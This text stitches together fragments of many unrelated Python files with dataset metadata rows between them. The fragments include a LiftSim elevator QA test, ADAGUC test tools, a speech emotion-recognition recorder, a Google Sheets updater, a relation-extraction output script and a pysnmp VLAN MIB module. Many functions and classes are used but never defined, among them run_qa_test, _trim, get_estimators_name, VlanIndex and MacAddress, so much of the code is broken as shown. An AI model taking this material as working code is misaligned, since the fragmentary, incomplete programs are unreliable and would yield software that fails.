# Copyright (c) 2017 - hongzhi.wang <hongzhi.wang@moji.com>
'''
Author: hongzhi.wang
Create Date: 2019-09-04
Modify Date: 2019-09-04
'''
import unittest
from .bowling_game import BowlingGame
| 23.777778 | 60 | 0.626168 |
368f64f73686f6ce0d3e038e0daaf52552b9013c | 1,873 | py | Python | palo_alto_firewall_analyzer/validators/bad_group_profile.py | moshekaplan/palo_alto_firewall_analyzer | 9040b85278701dcd7280dde0cf9e3ed05b2fb5d0 | [
"CC0-1.0"
] | 4 | 2021-03-06T05:57:29.000Z | 2022-03-11T07:10:41.000Z | palo_alto_firewall_analyzer/validators/bad_group_profile.py | moshekaplan/palo_alto_firewall_analyzer | 9040b85278701dcd7280dde0cf9e3ed05b2fb5d0 | [
"CC0-1.0"
] | 24 | 2021-03-05T04:53:46.000Z | 2022-03-22T15:51:12.000Z | palo_alto_firewall_analyzer/validators/bad_group_profile.py | moshekaplan/palo_alto_firewall_analyzer | 9040b85278701dcd7280dde0cf9e3ed05b2fb5d0 | [
"CC0-1.0"
] | 1 | 2021-03-05T16:41:52.000Z | 2021-03-05T16:41:52.000Z | from palo_alto_firewall_analyzer.core import register_policy_validator, BadEntry
| 45.682927 | 120 | 0.657234 |
3690831885f4829c3bfb3701534068309447ba6f | 15,574 | py | Python | metagym/liftsim/tests/qa_test.py | WorldEditors/MetaGym | ad7263fcc80abd6831965ab6b556d54f75e17315 | [
"Apache-2.0"
] | null | null | null | metagym/liftsim/tests/qa_test.py | WorldEditors/MetaGym | ad7263fcc80abd6831965ab6b556d54f75e17315 | [
"Apache-2.0"
] | null | null | null | metagym/liftsim/tests/qa_test.py | WorldEditors/MetaGym | ad7263fcc80abd6831965ab6b556d54f75e17315 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
qa test for elevators
Authors: likejiao(likejiao@baidu.com)
Date: 2019/06/16 19:30:16
"""
import sys
import time
import copy
import traceback
from metagym.liftsim.environment.env import LiftSim
from metagym.liftsim.environment.mansion.person_generators.generator_proxy import PersonGenerator
from metagym.liftsim.environment.mansion.mansion_config import MansionConfig
from metagym.liftsim.environment.mansion.utils import ElevatorState, MansionState, ElevatorAction
from metagym.liftsim.environment.mansion.mansion_manager import MansionManager
from rule_benchmark.dispatcher import Rule_dispatcher
fail_flag = False
stop_count = 10
# run main program with args
if __name__ == "__main__":
if (len(sys.argv) == 2):
set_seed = int(sys.argv[1])
else:
set_seed = None
run_time_step_abnormal_test('metagym/liftsim/tests/conf/config_time_step_more_than_1.ini', 100, 'rule_benchmark', set_seed)
run_action_abnormal_test(-2, 1, set_seed)
run_action_abnormal_test(10000, -1, set_seed)
run_action_abnormal_test(5.0, 1, set_seed)
run_action_abnormal_test('5', 1, set_seed)
run_action_abnormal_test(5, 4, set_seed)
run_action_abnormal_test(5, '-1', set_seed)
run_qa_test('metagym/liftsim/config.ini', 4000, 'rule_benchmark', set_seed)
run_qa_test('metagym/liftsim/tests/conf/config1.ini', 4000, 'rule_benchmark', set_seed) # 1 elevator
run_qa_test('metagym/liftsim/tests/conf/config2.ini', 4000, 'rule_benchmark', set_seed) # 100 floors 20 elevator 0.3 time_step
run_qa_test('metagym/liftsim/tests/conf/config3.ini', 4000, 'rule_benchmark', set_seed) # quick person generator
run_qa_test('metagym/liftsim/tests/conf/config4.ini', 4000, 'rule_benchmark', set_seed) # 1.0 time_step
| 46.35119 | 139 | 0.634134 |
3690bf8c18ffa504f4805314fbdcb1e3b4e103df | 4,955 | py | Python | tests/AdagucTests/AdagucTestTools.py | lukas-phaf/adaguc-server | aa5e267d6c5c15463035ff87d353707207374d1b | [
"Apache-2.0"
] | 1 | 2019-08-21T11:03:09.000Z | 2019-08-21T11:03:09.000Z | tests/AdagucTests/AdagucTestTools.py | ernstdevreede/adaguc-server | 3516bf1a2ea6abb4f2e85e72944589dfcc990f7c | [
"Apache-2.0"
] | null | null | null | tests/AdagucTests/AdagucTestTools.py | ernstdevreede/adaguc-server | 3516bf1a2ea6abb4f2e85e72944589dfcc990f7c | [
"Apache-2.0"
] | null | null | null | import os
from io import BytesIO
import shutil
from adaguc.CGIRunner import CGIRunner
from lxml import etree
from lxml import objectify
import re
ADAGUC_PATH = os.environ['ADAGUC_PATH']
| 31.967742 | 118 | 0.55439 |
3692f4808105d5ea767d1f2ed8ac2212b0cfd4ec | 4,905 | py | Python | emotion_recognition_using_speech/test.py | TomKingsfordUoA/emotion-recognition-using-speech | d3e115e32c06c511e70cb50a92097bafd00d5e6c | [
"MIT"
] | null | null | null | emotion_recognition_using_speech/test.py | TomKingsfordUoA/emotion-recognition-using-speech | d3e115e32c06c511e70cb50a92097bafd00d5e6c | [
"MIT"
] | null | null | null | emotion_recognition_using_speech/test.py | TomKingsfordUoA/emotion-recognition-using-speech | d3e115e32c06c511e70cb50a92097bafd00d5e6c | [
"MIT"
] | null | null | null | import os
import wave
from array import array
from struct import pack
from sys import byteorder
import pyaudio
import soundfile
from .emotion_recognition import EmotionRecognizer
from .utils import get_best_estimators
THRESHOLD = 500
CHUNK_SIZE = 1024
FORMAT = pyaudio.paInt16
RATE = 16000
SILENCE = 30
def is_silent(snd_data):
"Returns 'True' if below the 'silent' threshold"
return max(snd_data) < THRESHOLD
def normalize(snd_data):
"Average the volume out"
MAXIMUM = 16384
times = float(MAXIMUM)/max(abs(i) for i in snd_data)
r = array('h')
for i in snd_data:
r.append(int(i*times))
return r
def trim(snd_data):
"Trim the blank spots at the start and end"
# Trim to the left
snd_data = _trim(snd_data)
# Trim to the right
snd_data.reverse()
snd_data = _trim(snd_data)
snd_data.reverse()
return snd_data
def add_silence(snd_data, seconds):
"Add silence to the start and end of 'snd_data' of length 'seconds' (float)"
r = array('h', [0 for i in range(int(seconds*RATE))])
r.extend(snd_data)
r.extend([0 for i in range(int(seconds*RATE))])
return r
def record():
"""
Record a word or words from the microphone and
return the data as an array of signed shorts.
Normalizes the audio, trims silence from the
start and end, and pads with 0.5 seconds of
blank sound to make sure VLC et al can play
it without getting chopped off.
"""
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT, channels=1, rate=RATE,
input=True, output=True,
frames_per_buffer=CHUNK_SIZE)
num_silent = 0
snd_started = False
r = array('h')
while 1:
# little endian, signed short
snd_data = array('h', stream.read(CHUNK_SIZE))
if byteorder == 'big':
snd_data.byteswap()
r.extend(snd_data)
silent = is_silent(snd_data)
if silent and snd_started:
num_silent += 1
elif not silent and not snd_started:
snd_started = True
if snd_started and num_silent > SILENCE:
break
sample_width = p.get_sample_size(FORMAT)
stream.stop_stream()
stream.close()
p.terminate()
r = normalize(r)
r = trim(r)
r = add_silence(r, 0.5)
return sample_width, r
def record_to_file(path):
"Records from the microphone and outputs the resulting data to 'path'"
sample_width, data = record()
data = pack('<' + ('h'*len(data)), *data)
wf = wave.open(path, 'wb')
wf.setnchannels(1)
wf.setsampwidth(sample_width)
wf.setframerate(RATE)
wf.writeframes(data)
wf.close()
if __name__ == "__main__":
estimators = get_best_estimators(True)
estimators_str, estimator_dict = get_estimators_name(estimators)
import argparse
parser = argparse.ArgumentParser(description="""
Testing emotion recognition system using your voice,
please consider changing the model and/or parameters as you wish.
""")
parser.add_argument("-e", "--emotions", help=
"""Emotions to recognize separated by a comma ',', available emotions are
"neutral", "calm", "happy" "sad", "angry", "fear", "disgust", "ps" (pleasant surprise)
and "boredom", default is "sad,neutral,happy"
""", default="sad,neutral,happy")
parser.add_argument("-m", "--model", help=
"""
The model to use, 8 models available are: {},
default is "BaggingClassifier"
""".format(estimators_str), default="BaggingClassifier")
# Parse the arguments passed
args = parser.parse_args()
features = ["mfcc", "chroma", "mel"]
detector = EmotionRecognizer(estimator_dict[args.model], emotions=args.emotions.split(","), features=features, verbose=0)
detector.train()
print("Test accuracy score: {:.3f}%".format(detector.test_score()*100))
# print("Please talk")
filename = "test.wav"
record_to_file(filename)
| 30.65625 | 132 | 0.596738 |
369300d0c9a3d754cf6fa5fd20a01c6192f0204c | 2,032 | py | Python | training/dataset.py | liucong3/camelyon17 | bf6947ab5f59fc98f58f4459115cde5c815f2c5b | [
"MIT"
] | null | null | null | training/dataset.py | liucong3/camelyon17 | bf6947ab5f59fc98f58f4459115cde5c815f2c5b | [
"MIT"
] | 1 | 2021-09-07T04:56:15.000Z | 2021-09-07T04:56:15.000Z | training/dataset.py | liucong3/camelyon17 | bf6947ab5f59fc98f58f4459115cde5c815f2c5b | [
"MIT"
] | 1 | 2021-09-17T02:57:42.000Z | 2021-09-17T02:57:42.000Z |
import numpy as np
import torch.utils.data as data
import csv
import cv2
from PIL import Image
from utils import progress_bar
| 27.835616 | 93 | 0.563976 |
369370477fede6ca05479665d356d7b8ddbbef42 | 211 | py | Python | src/settings/settings.py | lamas1901/telegram__pdf-bot | 995bd3a41edba744efc07a99296ff109427ed310 | [
"MIT"
] | null | null | null | src/settings/settings.py | lamas1901/telegram__pdf-bot | 995bd3a41edba744efc07a99296ff109427ed310 | [
"MIT"
] | null | null | null | src/settings/settings.py | lamas1901/telegram__pdf-bot | 995bd3a41edba744efc07a99296ff109427ed310 | [
"MIT"
] | null | null | null | from ..utils import get_env_var
from pathlib import Path
BASE_DIR = Path(__file__).parent.parent
TG_TOKEN = get_env_var('TG_TOKEN')
YMONEY_TOKEN = get_env_var('YTOKEN')
PROMO_CODE = get_env_var('PROMO_CODE')
| 21.1 | 39 | 0.78673 |
369463a55c830c970eeba872097925e45f0b42da | 5,365 | py | Python | sheet.py | roocell/myfreelapextract | 933cf6c50155f0659e3b06f8caf38425920f349d | [
"Apache-2.0"
] | null | null | null | sheet.py | roocell/myfreelapextract | 933cf6c50155f0659e3b06f8caf38425920f349d | [
"Apache-2.0"
] | null | null | null | sheet.py | roocell/myfreelapextract | 933cf6c50155f0659e3b06f8caf38425920f349d | [
"Apache-2.0"
] | null | null | null | import gspread
from oauth2client.service_account import ServiceAccountCredentials
import pprint
import logging
import random
# https://medium.com/daily-python/python-script-to-edit-google-sheets-daily-python-7-aadce27846c0
# tutorial is older, so the googple API setup is a little outdated
# call directly to test
# python sheettest.py
# create logger
log = logging.getLogger(__file__)
log.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(asctime)s %(levelname)s %(filename)s:%(lineno)d %(message)s')
ch.setFormatter(formatter)
log.addHandler(ch)
alphabet = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L",
"M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "X", "Y", "Z"]
#Authorize the API
scope = [
'https://www.googleapis.com/auth/drive',
'https://www.googleapis.com/auth/drive.file'
]
file_name = 'client_key.json'
creds = ServiceAccountCredentials.from_json_keyfile_name(file_name,scope)
client = gspread.authorize(creds)
gsheetfile = 'Dynamic Sprint Velocity Profiling'
# session: this is the text in the 'session' column on myfreelap
# this script will duplicate sheet and rename it based on session
# tagid: the id for the runner, we'll search for this in the sheet
# splits[]: an array of splits to write into the sheet
# dump test sheet if this script is ran directly
if __name__ == "__main__":
main()
| 35.529801 | 97 | 0.641007 |
3694d1a4cd60ecc1e34d895dba4a09639f943705 | 3,426 | py | Python | image_generation/parse_models.py | pudumagico/clevr-dataset-gen | 1e7e5e2585ae021b2a3f0ea509e5fa63f3d26b86 | [
"BSD-3-Clause"
] | null | null | null | image_generation/parse_models.py | pudumagico/clevr-dataset-gen | 1e7e5e2585ae021b2a3f0ea509e5fa63f3d26b86 | [
"BSD-3-Clause"
] | null | null | null | image_generation/parse_models.py | pudumagico/clevr-dataset-gen | 1e7e5e2585ae021b2a3f0ea509e5fa63f3d26b86 | [
"BSD-3-Clause"
] | null | null | null | import sys
import re
from typing import Sized
if __name__ == '__main__':
base_model = parse_models(sys.argv[1])
| 31.722222 | 76 | 0.558669 |
3694d7e8c0ea23a87ec0351e6dfd24cef2e1613b | 17,193 | py | Python | Codes of the SMD2II model/Codes of Transfer-learning of Bert (stage I classification)/produce_submit_json_file.py | 0AnonymousSite0/Social-media-data-to-Interrelated-informtion-to-Parameters-of-virtual-road-model | 3043f316bf6af3530dec894881c8f63607084759 | [
"MIT"
] | 1 | 2022-03-26T10:40:10.000Z | 2022-03-26T10:40:10.000Z | Codes of the SMD2II model/Codes of Transfer-learning of Bert (stage I classification)/produce_submit_json_file.py | 0AnonymousSite0/Social-media-data-to-Interrelated-informtion-to-Parameters-of-virtual-road-model | 3043f316bf6af3530dec894881c8f63607084759 | [
"MIT"
] | null | null | null | Codes of the SMD2II model/Codes of Transfer-learning of Bert (stage I classification)/produce_submit_json_file.py | 0AnonymousSite0/Social-media-data-to-Interrelated-informtion-to-Parameters-of-virtual-road-model | 3043f316bf6af3530dec894881c8f63607084759 | [
"MIT"
] | null | null | null | # coding=utf-8
import os
import json
#
# dict is comes from raw_data all_50_schemas
schemas_dict_relation_2_object_subject_type = {
'Road_status':[('Status','Road')],
'Lane_status':[('Status','Lane')],
'Road_position':[('Position_of_road','Road')],
# 'At':[('Road','Road')],
# 'PRIOR':[('Road','Road')],
# 'PAST':[('Road','Road')],
# 'Bet':[('Road','Road')],
'Lane_of_Road':[('Road','Lane')],
'Lane_direction':[('Direction_of_lane','Lane')],
'Lane_position':[('Position_of_lane','Lane')],
'Road_direction':[('Direction_of_road','Road')],
#'Lane_number':[('Number','Lane')]
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('Number', '')],
# '': [('Text', '')],
# '': [('Date', '')],
# '': [('', '')],
# '': [('Number', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('Text', '')],
# '': [('Number', '')],
# '': [('', '')],
# '': [('Number', '')],
# '': [('Date', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('Number', '')],
# '': [('', '')],
# '': [('Text', '')],
# '': [('Text', '')],
# '': [('Text', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('Text', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('Date', ''), ('Date', '')],
# '': [('', '')],
# '': [('Number', '')],
# '': [('', '')],
# '': [('Text', '')],
# '': [('Number', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')],
# '': [('', '')]
}
if __name__=='__main__':
TEST_DATA_DIR = "bin/subject_object_labeling/sequence_labeling_data/test"
# MODEL_OUTPUT_DIR = "output/sequnce_infer_out/epochs9/ckpt20000"
MODEL_OUTPUT_DIR = None
OUT_RESULTS_DIR = "output/final_text_spo_list_result"
Competition_Mode = True
spo_list_manager = Sorted_relation_and_entity_list_Management(TEST_DATA_DIR, MODEL_OUTPUT_DIR, Competition_Mode=Competition_Mode)
spo_list_manager.produce_output_file(OUT_RESULTS_DIR=OUT_RESULTS_DIR, keep_empty_spo_list=True) | 49.834783 | 370 | 0.600651 |
36957809b7a097e9aca4a9f73c606e574242991c | 18,656 | py | Python | pysnmp-with-texts/SW-VLAN-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 8 | 2019-05-09T17:04:00.000Z | 2021-06-09T06:50:51.000Z | pysnmp-with-texts/SW-VLAN-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 4 | 2019-05-31T16:42:59.000Z | 2020-01-31T21:57:17.000Z | pysnmp-with-texts/SW-VLAN-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module SW-VLAN-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/SW-VLAN-MIB
# Produced by pysmi-0.3.4 at Wed May 1 15:12:44 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueRangeConstraint, ValueSizeConstraint, ConstraintsUnion, ConstraintsIntersection, SingleValueConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ValueSizeConstraint", "ConstraintsUnion", "ConstraintsIntersection", "SingleValueConstraint")
ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup")
enterprises, iso, ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, Bits, Counter32, Integer32, Unsigned32, Gauge32, IpAddress, ObjectIdentity, MibIdentifier, Counter64, TimeTicks, NotificationType = mibBuilder.importSymbols("SNMPv2-SMI", "enterprises", "iso", "ModuleIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Bits", "Counter32", "Integer32", "Unsigned32", "Gauge32", "IpAddress", "ObjectIdentity", "MibIdentifier", "Counter64", "TimeTicks", "NotificationType")
DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention")
marconi = MibIdentifier((1, 3, 6, 1, 4, 1, 326))
systems = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2))
external = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20))
dlink = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1))
dlinkcommon = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 1))
golf = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2))
golfproducts = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 1))
es2000 = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 1, 3))
golfcommon = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2))
marconi_mgmt = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2)).setLabel("marconi-mgmt")
es2000Mgmt = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28))
swL2Mgmt = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2))
swVlan = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8))
swVlanCtrl = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 1))
swMacBaseVlan = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2))
swPortBaseVlan = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3))
swVlanCtrlMode = MibScalar((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("mac-base", 3), ("ieee8021q", 4), ("port-base", 5)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: swVlanCtrlMode.setStatus('mandatory')
if mibBuilder.loadTexts: swVlanCtrlMode.setDescription('This object controls which Vlan function will be enable (or disable) when the switch hub restart at the startup (power on) or warm start.')
swVlanInfoStatus = MibScalar((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("mac-base", 3), ("ieee8021q", 4), ("port-base", 5)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: swVlanInfoStatus.setStatus('mandatory')
if mibBuilder.loadTexts: swVlanInfoStatus.setDescription('This object indicates which Vlan function be enable (or disable) in mandatoryly stage. There are no effect when change swVlanCtrlMode vlaue in the system running.')
swVlanSnmpPortVlan = MibScalar((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 1, 3), VlanIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swVlanSnmpPortVlan.setStatus('mandatory')
if mibBuilder.loadTexts: swVlanSnmpPortVlan.setDescription('Indicates the Vlan which the SNMP port belongs to. The value range is 1 to 4094.')
swMacBaseVlanInfo = MibIdentifier((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 1))
swMacBaseVlanMaxNum = MibScalar((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swMacBaseVlanMaxNum.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanMaxNum.setDescription('The maximum number of Mac base Vlan allowed by the system.')
swMacBaseVlanAddrMaxNum = MibScalar((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swMacBaseVlanAddrMaxNum.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanAddrMaxNum.setDescription('The maximum number of entries in Mac-based Vlan address table.')
swMacBaseVlanCtrlTable = MibTable((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 2), )
if mibBuilder.loadTexts: swMacBaseVlanCtrlTable.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanCtrlTable.setDescription('A table that contains information about MAC base Vlan entries for which the switch has forwarding and/or filtering information. This information is used by the transparent switching function in determining how to propagate a received frame.')
swMacBaseVlanCtrlEntry = MibTableRow((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 2, 1), ).setIndexNames((0, "SW-VLAN-MIB", "swMacBaseVlanDesc"))
if mibBuilder.loadTexts: swMacBaseVlanCtrlEntry.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanCtrlEntry.setDescription('A list of information about a specific MAC base Vlan configuration portlist for which the switch has some forwarding and/or filtering information.')
swMacBaseVlanDesc = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 2, 1, 1), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 12))).setMaxAccess("readonly")
if mibBuilder.loadTexts: swMacBaseVlanDesc.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanDesc.setDescription('A textual description of the Mac Base Vlan for memorization. The string cannot set to empty string. There is a default value for this string.')
swMacBaseVlanMacMember = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 2, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swMacBaseVlanMacMember.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanMacMember.setDescription('This object indicates the total number of MAC addresses contained in the VLAN entry.')
swMacBaseVlanCtrlState = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: swMacBaseVlanCtrlState.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanCtrlState.setDescription('This object indicates the MacBase Vlan state.')
swMacBaseVlanAddrTable = MibTable((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 3), )
if mibBuilder.loadTexts: swMacBaseVlanAddrTable.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanAddrTable.setDescription('A table that contains information about unicast or multicast entries for which the switch has forwarding and/or filtering information. This information is used by the transparent switching function in determining how to propagate a received frame. Note that the priority of MacBaseVlanAddr table entries is lowest than Filtering Table and FDB Table, i.e. if there is a table hash collision between the entries of MacBaseVlanAddr Table and Filtering Table inside the switch H/W address table, then Filtering Table entry overwrite the colliding entry of MacBaseVlanAddr Table. This state is same of FDB table. See swFdbFilterTable and swFdbStaticTable description also.')
swMacBaseVlanAddrEntry = MibTableRow((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 3, 1), ).setIndexNames((0, "SW-VLAN-MIB", "swMacBaseVlanAddr"))
if mibBuilder.loadTexts: swMacBaseVlanAddrEntry.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanAddrEntry.setDescription('A list of information about a specific unicast or multicast MAC address for which the switch has some forwarding and/or filtering information.')
swMacBaseVlanAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 3, 1, 1), MacAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swMacBaseVlanAddr.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanAddr.setDescription('This object indictaes a unicast or multicast MAC address for which the bridge has forwarding and/or filtering information.')
swMacBaseVlanAddrVlanDesc = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 3, 1, 2), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 64))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: swMacBaseVlanAddrVlanDesc.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanAddrVlanDesc.setDescription('A textual description of the Mac Base Vlan for memorization.')
swMacBaseVlanAddrState = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 3, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("invalid", 2), ("valid", 3)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: swMacBaseVlanAddrState.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanAddrState.setDescription('This object indicates the MacBase Vlan Address entry state. other(1) - this entry is currently in use but the conditions under which it will remain so are different from each of the following values. invalid(2) - writing this value to the object, and then the corresponding entry will be removed from the table. valid(3) - this entry is reside in the table.')
swMacBaseVlanAddrStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 2, 3, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("apply", 2), ("not-apply", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: swMacBaseVlanAddrStatus.setStatus('mandatory')
if mibBuilder.loadTexts: swMacBaseVlanAddrStatus.setDescription('This object indicates the MacBase Vlan Address entry state. other(1) - this entry is currently in use but the conditions under which it will remain so are different from each of the following values. apply(2) - this entry is currently in use and reside in the table. not-apply(3) - this entry is reside in the table but currently not in use due to conflict with filter table.')
swPortBaseVlanTotalNum = MibScalar((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swPortBaseVlanTotalNum.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanTotalNum.setDescription('The total number of Port-Base Vlan which is in enabled state within this switch hub.')
swPortBaseVlanDefaultVlanTable = MibTable((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 2), )
if mibBuilder.loadTexts: swPortBaseVlanDefaultVlanTable.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanDefaultVlanTable.setDescription('A table that contains default Port-Based VLAN list entries for the switch. The entry (Vid = 1,i.e. swPortBaseVlanDefaultPvid = 1) is defalut Port-Based VLAN , maintained by system.')
swPortBaseVlanDefaultVlanEntry = MibTableRow((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 2, 1), ).setIndexNames((0, "SW-VLAN-MIB", "swPortBaseVlanDefaultPvid"))
if mibBuilder.loadTexts: swPortBaseVlanDefaultVlanEntry.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanDefaultVlanEntry.setDescription('A list of default Port-Based VLAN information in swPortBaseVlanDefaultVlanTable.')
swPortBaseVlanDefaultPvid = MibTableColumn((1, 3, 6, 1, 4, 1, 326, 2, 20, 1, 2, 2, 2, 28, 2, 8, 3, 2, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: swPortBaseVlanDefaultPvid.setStatus('mandatory')
if mibBuilder.loadTexts: swPortBaseVlanDefaultPvid.setDescription('This object indicates the default Port-Base Vlan ID. It occupies only 1 entry in VLAN table, with VID=1.')
